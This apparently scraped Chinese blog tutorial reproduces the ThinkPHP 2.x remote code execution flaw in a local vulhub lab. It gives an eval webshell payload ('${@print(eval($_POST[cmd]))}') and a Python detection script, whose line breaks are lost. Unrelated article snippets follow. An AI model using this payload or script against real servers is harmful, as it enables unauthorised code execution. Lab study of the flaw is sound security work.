Python武器库开发-武器库篇之ThinkPHP 2.x 任意代码执行漏洞(六十三)
Python武器库开发-武器库篇之ThinkPHP 2.x 任意代码执行漏洞(六十三)
PHP代码审计简介
PHP代码审计是指对PHP程序进行安全审计,以发现潜在的安全漏洞和风险。PHP是一种流行的服务器端脚本语言,广泛用于开发网站和Web应用程序。由于其开源性质和易于学习的特点,许多开发人员使用PHP来构建他们的网站和应用。
然而,不可否认的是,PHP应用程序也存在着安全风险。由于PHP的灵活性和易用性,开发人员可能会犯一些常见的安全错误,如注入攻击、跨站脚本攻击(XSS)、跨站请求伪造(CSRF)等。
PHP代码审计的目的是识别和修复这些安全漏洞,以确保应用程序的安全性。通过审计代码,可以发现潜在的漏洞,如未经验证的用户输入、不正确的权限控制、不安全的数据库查询等。
在进行PHP代码审计时,审计人员通常会使用一些工具和技术来辅助他们的工作。这包括静态代码分析工具、动态代码分析工具、漏洞扫描器等。此外,审计人员还需要具备一定的安全知识和编程经验,以便能够理解和分析代码中的潜在漏洞。
总之,PHP代码审计是一项重要的安全工作,可以帮助开发人员识别和修复潜在的安全漏洞,以保护应用程序和用户的数据安全。
漏洞环境搭建
这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装
安装 docker
#更新软件
apt-get update
#安装CA证书
apt-get install -y apt-transport-https ca-certificates
#安装docker
apt install docker.io
#查看docker是否安装成功
docker -v
#启动docker
systemctl start docker
#显示docker信息
docker ps -a


如上图所示,我们已经成功安装好了docker
安装pip和docker-compose
#安装pip
apt-get install python3-pip
#安装docker-compose
apt install docker-compose
#查看版本,是否安装成功
docker-compose -v


如上图所示,我们已经成功安装好了pip和docker-compose
安装vnlhub
#安装vnlhub
git clone https://github.com/vulhub/vulhub.git

将docker换成国内源
#更改源
vim /etc/docker/daemon.json
#加入以下内容
{"registry-mirrors": ["https://dockerproxy.com","https://hub-mirror.c.163.com","https://mirror.baidubce.com","https://ccr.ccs.tencentyun.com"]
}#重启docker
systemctl restart docker
#查看信息,出现图中配置的信息即为成功
docker info

使用vulhub靶场
进入你想试验靶场的位置,cd vulhub/目录名,可以用ls查看漏洞靶场

比如我们想进入 ThinkPHP漏洞环境,可以 cd ThinkPHP,然后通过 ls 查看可以搭建的靶场,目前 vulhub关于 ThinkPHP漏洞 可以搭建的靶场有五个

我们拿 2-rce 漏洞举例,如果我们想要安装 2-rce 漏洞环境,可以 cd 到 2-rce ,然后输入以下命令启动靶场环境:
docker-compose up -d
输入以下的命令可以查看当前启动的靶场环境
docker-compose ps
若不需要使用该靶场的时候,可以输入以下的命令移除环境:
docker-compose down
最后我们输入http://localhost:8080 就能访问该靶场环境

ThinkPHP 2.x 任意代码执行漏洞原理
ThinkPHP是一个开源的PHP开发框架,该框架存在代码执行漏洞,漏洞产生的原因是因为ThinkPHP在处理URL参数时,没有对参数进行充分的过滤和验证,导致攻击者可以构造恶意的URL参数,从而执行任意代码。
具体原理如下:
-
攻击者构造恶意的URL参数,例如在GET请求的参数中添加PHP代码。
-
ThinkPHP框架对URL参数进行处理时,会通过parseRequest方法解析URL,获取控制器和操作方法等信息。
-
在解析URL参数时,框架会使用eval函数将参数中的代码进行执行,从而实现代码执行的功能。
-
攻击者构造的恶意URL参数中的代码会被eval函数执行,从而导致任意代码执行漏洞的产生。
在ThinkPHP 2.x 版本里面 preg_relace的/e来匹配这个路由,导致用户输入参数被插入了双引号中,造成了任意代码执行。其POC如下所示:/?s=/Index/index/xxx/${@print(eval($_POST[cmd]))}
现在,我们构造如下的URLhttp://localhost:8080/?s=/Index/index/xxx/${var_dump(md5(123))},将会爆出如下的那么一串数字,这一步就是我们用python写检测ThinkPHP 2.x 任意代码执行漏洞的POC的关键。

这里爆出的数字是由MD5经过32位[小]加密的数字123

ThinkPHP 2.x 任意代码执行漏洞复现POC
接下来我们拥python写检测ThinkPHP 2.x 任意代码执行漏洞的POC,代码内容如下:
#!/usr/bin/env pythonimport requests
from urllib.parse import urljoin
from bs4 import BeautifulSoupdef thinkphp2_rce(url):payload = '?s=/index/index/xxx/${var_dump(md5(handsomewuyue))}'url = urljoin(url, payload)response = requests.get(url=url)
# 这里的31664625b85cc0cf91406a4e028ede29是由handsomewuyue字符经过32位[小]MD5加密得到的数字,用户可根据自己在实际过程中构造的POC进行自定义更改if '31664625b85cc0cf91406a4e028ede29' in response.text:print("漏洞存在")else:print("漏洞不存在") if __name__ == '__main__':url = 'http://localhost:8080/'thinkphp2_rce(url)
注意:判断漏洞是否存在的MD5加密数据是根据我们所构造的POC中所发送的字符绝定的,这里的31664625b85cc0cf91406a4e028ede29是由我们所构造的payload'?s=/index/index/xxx/${var_dump(md5(handsomewuyue))}'中的handsomewuyue字符经过32位[小]MD5加密得到的数字,用户可根据自己在实际过程中构造的POC进行自定义更改

POC代码详细分析
这段代码是一个用于检测ThinkPHP 2.x版本存在远程命令执行(Remote Code Execution)漏洞的脚本。下面是代码的分析:
- 导入所需的库:
-
requests: 用于向服务器发送HTTP请求和接收响应。 -
urljoin: 用于将相对URL转换为绝对URL。 -
BeautifulSoup: 用于解析HTML响应。- 定义一个名为
thinkphp2_rce的函数,该函数接收一个url参数。
- 定义一个名为
-
在函数内部,定义一个payload字符串,其中包含一个特定的URL路径(
?s=/index/index/xxx/${var_dump(md5(handsome xuanyue))})。这个payload是用来构造恶意请求的。 -
使用
urljoin函数将payload与传入的URL拼接在一起,得到最终的URL。 -
使用
requests库发送GET请求,将最终的URL作为请求目标。 -
如果响应文本中包含特定的MD5哈希值
(31664625b85cc0cf91406a4e028ede29),则打印"漏洞存在";否则,打印"漏洞不存在"。
在if __name__ == '__main__':部分,定义了一个默认的URL变量(url = 'http://localhost:8080/'),然后调用thinkphp2_rce函数,并传递这个URL作为参数。这是为了在直接运行脚本时进行测试,可以根据实际情况修改URL。
运行效果图
如下是我们这串代码的实际运行效果图:

相关文章:
Python武器库开发-武器库篇之ThinkPHP 2.x 任意代码执行漏洞(六十三)
Python武器库开发-武器库篇之ThinkPHP 2.x 任意代码执行漏洞(六十三) PHP代码审计简介 PHP代码审计是指对PHP程序进行安全审计,以发现潜在的安全漏洞和风险。PHP是一种流行的服务器端脚本语言,广泛用于开发网站和Web应用程序。由…...
SQLite数据库(数据库和链表双向转换)
文章目录 SQLite数据库一、SQLite简介1、SQLite和MySQL2、基于嵌入式的数据库 二、SQLite数据库安装三、SQLite的常用命令四、SQLite的编程操作1、SQLite数据库相关API(1)头文件(2)sqlite3_open()(3)sqlite…...
React框架的来龙去脉,react的技术原理及技术难点和要点,小白的进阶之路
React 框架的来龙去脉:技术原理及技术难点和要点 1. React 的起源与发展 React 是由 Facebook 开发的一个用于构建用户界面的 JavaScript 库。它最初由 Jordan Walke 创建,并在 2013 年开源。React 的出现是为了解决在大型应用中管理复杂用户界面的问题…...
CPU飙升100%怎么办?字节跳动面试官告诉你答案!
小北说在前面 CPU占用率突然飙升是技术人员常遇到的一个棘手问题,它是一个与具体技术无关的普遍挑战。 这个问题可以很简单,也可以相当复杂。 有时候,只是一个死循环在作祟。 有时候,是死锁导致的。 有时候,代码中有…...
物理层(二)
2.2 传输介质 2.2.1 双绞线、同轴电缆、光纤和无线传输介质 传输介质也称传输媒体,是数据传输系统中发送器和接收器之间的物理通路。传输介质可分为:①导向传输介质,指铜线或光纤等,电磁波被导向为沿着固体介质传播:②)非导向传输介质&…...
C#——文件读取IO操作File类详情
文件读取操作 IO类 就是对应文件的操作的类I/O类 包含各种不同的类 用于执行各种文件操作,创建文件删除文件读写文件 常用的类: File处理文件操作的类 FilleStream用于文件当中任何位置的读写 File类 1.文件创建 File.Create() 在指定路径下创建…...
昨天gitee网站访问不了,开始以为电脑哪里有问题了
昨天gitee网站下午访问不了,开始以为是什么毛病。 结果同样的网络,手机是可以访问的。 当然就ping www.gitee.com 结果也下面那样是正常的 以为是好的,但就是访问www.gitee.com也是不行,后来用阿里云的服务器curl访问是下面情况&…...
深入理解适配器模式:Java实现与框架应用
适配器模式是一种结构型设计模式,它允许将一个类的接口转换成客户端希望的另一个接口。适配器模式使得原本由于接口不兼容而不能一起工作的类可以协同工作。在本篇博客中,我们将详细介绍适配器模式,并演示如何在Java中实现它。最后࿰…...
跌倒识别:守护公共安全的AI技术应用场景-免费API调用
随着科技的不断进步,人工智能在各个领域的应用日益广泛,其中在公共安全领域,智能跌倒识别系统正逐渐成为守护人们安全的重要工具。本文将分享智能跌倒识别系统在不同场景下的应用及其重要性。 产品在线体验地址-API调用或本地化部署 AI算法模…...
算法:渐进记号的含义及时间复杂度计算
渐进记号及时间复杂度计算 渐近符号渐近记号 Ω \Omega Ω渐进记号 Θ \Theta Θ渐进记号小 ο \omicron ο渐进记号小 ω \omega ω渐进记号大 O \Omicron O常见的时间复杂度关系 时间复杂度计算:递归方程代入法迭代法套用公式法 渐近符号 渐近记号 Ω \Omega Ω …...
idea导入文件里面的子模块maven未识别处理解决办法
1、File → Project Structure → 点击“Modules” → 点击“” → “Import Model” 2、可以看到很多子模块,选择子模块下的 pom.xml 文件导入一个一个点累死了,父目录下也没有pom文件 解决办法:找到子模块中有一个pom.xml文件,…...
IOS Swift 从入门到精通:协议和扩展
文章目录 协议协议继承扩展协议扩展面向协议的编程总结: 今天你将学习一些真正的 Swifty 功能:协议和面向协议的编程(POP)。 POP 摒弃了庞大而复杂的继承层次结构,代之以更小、更简单、可以组合在一起的协议。这确实应…...
Vue插件开发:Vue.js的插件架构允许开发者扩展Vue的核心功能,我们可以探讨如何开发一个Vue插件并与社区分享
了解Vue插件 Vue插件的概念: Vue插件用于为Vue.js添加全局级别的功能。它提供了一种开箱即用的机制来应用全局性的功能扩展。这些插件通常用来将全局方法或属性,组件选项,Vue实例的方法,或者注入一些组件选项比如mixins和自定义方法添加至Vue.js。 Vue插件的使用场景:…...
学习面向对象前--Java基础练习题
前言 写给所有一起努力学习Java的朋友们,敲代码本身其实是我们梳理逻辑的一个过程。我们在学习Java代码的过程中,除了需要学习Java的一些基本操作及使用,更重要的是我们需要培养好的逻辑思维。逻辑梳理好之后,我们编写代码实现需要…...
用Python实现抖音新作品监控助手,实时获取博主动态
声明: 本文以教学为基准、本文提供的可操作性不得用于任何商业用途和违法违规场景。本人对任何原因在使用本人中提供的代码和策略时可能对用户自己或他人造成的任何形式的损失和伤害不承担责任。包含关注,点赞等 该项目的主要功能是通过Python代码&…...
图像分隔和深度成像技术为什么受市场欢迎-数字孪生技术和物联网智能汽车技术的大爆发?分析一下图像技术的前生后世
图像分隔和深度成像是计算机视觉和图像处理领域的两项重要技术,它们各自有不同的技术基础和要点。 图像分隔技术基础: 机器学习和模式识别: 图像分隔通常依赖于机器学习算法,如支持向量机(SVM)、随机森林…...
Redis 内存策略
一、Redis 内存回收 Redis 之所以性能强,最主要的原因就是基于内存存储。然而单节点的 Redis 其内存大小不宜过大,会影响持久化或主从同步性能。 我们可以通过修改配置文件来设置 Redis 的最大内存: # 格式: # maxmemory <byt…...
Java小实验————斗地主
早期使用的JavaSE用到的技术栈有:Map集合,数组,set集合,只是简单实现了斗地主的模拟阶段,感兴趣的小伙伴可以调试增加功能 代码如下: import java.util.*;public class Poker {public static void main(String[] arg…...
【Oracle】Linux 卸载重装 oracle 教程(如何清理干净残留)系统 CentOS7.6
总览 1.停止监听 2.删除 Oracle 数据库实例 3.删除 Oracle 相关服务 4.删除 Oracle 服务脚本 5.清理 Oracle 软件和配置文件 6.强制卸载 Oracle 软件包 一、开始干活(所有操作使用 root 权限,在 root 用户下执行) 1.停止监听 lsnrctl sto…...
web中间件漏洞-Jenkins漏洞-弱口令、反弹shell
web中间件漏洞-Jenkins漏洞-弱口令、反弹shell Jenkins弱口令 默认用户一般为jenkins/jenkins 使用admin/admin123登陆成功 Jenkins反弹shell 格式为 println"命令".execute().text 在/tmp目录中生成shell.sh文件,并向其中写入反弹shell的语句 new…...
域适应实战:如何用Python快速实现图像风格迁移(附代码)
域适应实战:Python实现图像风格迁移的工程化解决方案 当你在巴黎街头用手机拍摄埃菲尔铁塔时,是否想过让它瞬间拥有梵高《星月夜》的笔触质感?这种看似魔法的技术背后,是域适应技术在计算机视觉领域的精妙应用。不同于简单的滤镜叠…...
vue3-composition-admin TypeScript最佳实践:类型安全与开发效率的完美平衡
vue3-composition-admin TypeScript最佳实践:类型安全与开发效率的完美平衡 【免费下载链接】vue3-composition-admin 🎉 基于vue3 的管理端模板(Vue3 TS Vuex4 element-plus vue-i18n-next composition-api) vue3-admin vue3-ts-admin 项目地址: http…...
OWL ADVENTURE助力在线教育:AI自动批改绘图作业实践
OWL ADVENTURE助力在线教育:AI自动批改绘图作业实践 想象一下,一位在线美术老师,面对上百份刚刚提交的手绘作业。他需要一份份打开,仔细查看学生的构图、线条、比例,然后写下针对性的评语。这个过程不仅耗时费力&…...
Qwen3-4B-Instruct-2507从入门到精通:Chainlit界面定制化教程
Qwen3-4B-Instruct-2507从入门到精通:Chainlit界面定制化教程 1. 引言:为什么选择Qwen3-4B-Instruct-2507? 如果你正在寻找一个既强大又轻量、既能快速部署又能灵活定制界面的AI模型,那么Qwen3-4B-Instruct-2507绝对值得你深入了…...
告别单行输入:在Python IDLE Shell中轻松编辑多行代码的完整指南
告别单行输入:在Python IDLE Shell中轻松编辑多行代码的完整指南 对于Python初学者来说,IDLE Shell是一个既熟悉又陌生的存在。熟悉是因为它随Python安装包默认提供,陌生则源于大多数人仅将其视为简单的交互式命令行工具。实际上,…...
CST仿真设计:反射透射性线圆转换与线线转换实战案例及录屏教程
cst仿真设计 反射透射性线圆转换,线线转换 案例与录屏打开CST刚打开模板栏是不是总盯着默认的几个空模板发呆?今天咱们整点新手入门但能快速装逼朋友圈或者中期报告材料的活——反射透射都能玩的偏振转换超表面(Metasurface)&…...
ARMv8开发实战:Aarch64函数调用那些坑(含AAPCS64避坑指南)
ARMv8开发实战:Aarch64函数调用那些坑(含AAPCS64避坑指南) 在嵌入式开发和系统编程领域,ARMv8架构因其出色的能效比和性能表现,已经成为移动设备、服务器甚至超级计算机的主流选择。然而,当开发者从x86平台…...
云服务器购买怎么选?2026云服务器优惠与租赁指南
在AI创作、3D渲染、远程办公快速发展的今天,「云服务器购买」「云服务器租赁」已经成为越来越多个人和企业的刚需。但面对复杂的配置和价格体系,很多人都会问:👉 到底怎么选最划算? 👉 有没有长期稳定又有“…...
trt 动态batchsize优化:trtexec工具ONNX转engine实战指南
1. 为什么需要动态batchsize优化 在实际的AI模型部署中,我们经常会遇到输入数据量不固定的情况。比如视频分析场景,可能同时有1路或8路视频需要实时处理;又比如在线服务,请求量会随时间波动。这时候如果使用固定batchsize…...
别再花钱买云API了!手把手教你用Docker+Ollama在本地免费跑通Strix渗透测试
零成本打造企业级渗透测试环境:DockerOllama本地化实战指南 当安全团队每月收到云服务商五位数的API账单时,当关键测试任务因网络抖动被迫中断时,越来越多的技术决策者开始重新审视渗透测试的基础架构。本文将揭示如何用消费级硬件构建媲美商…...
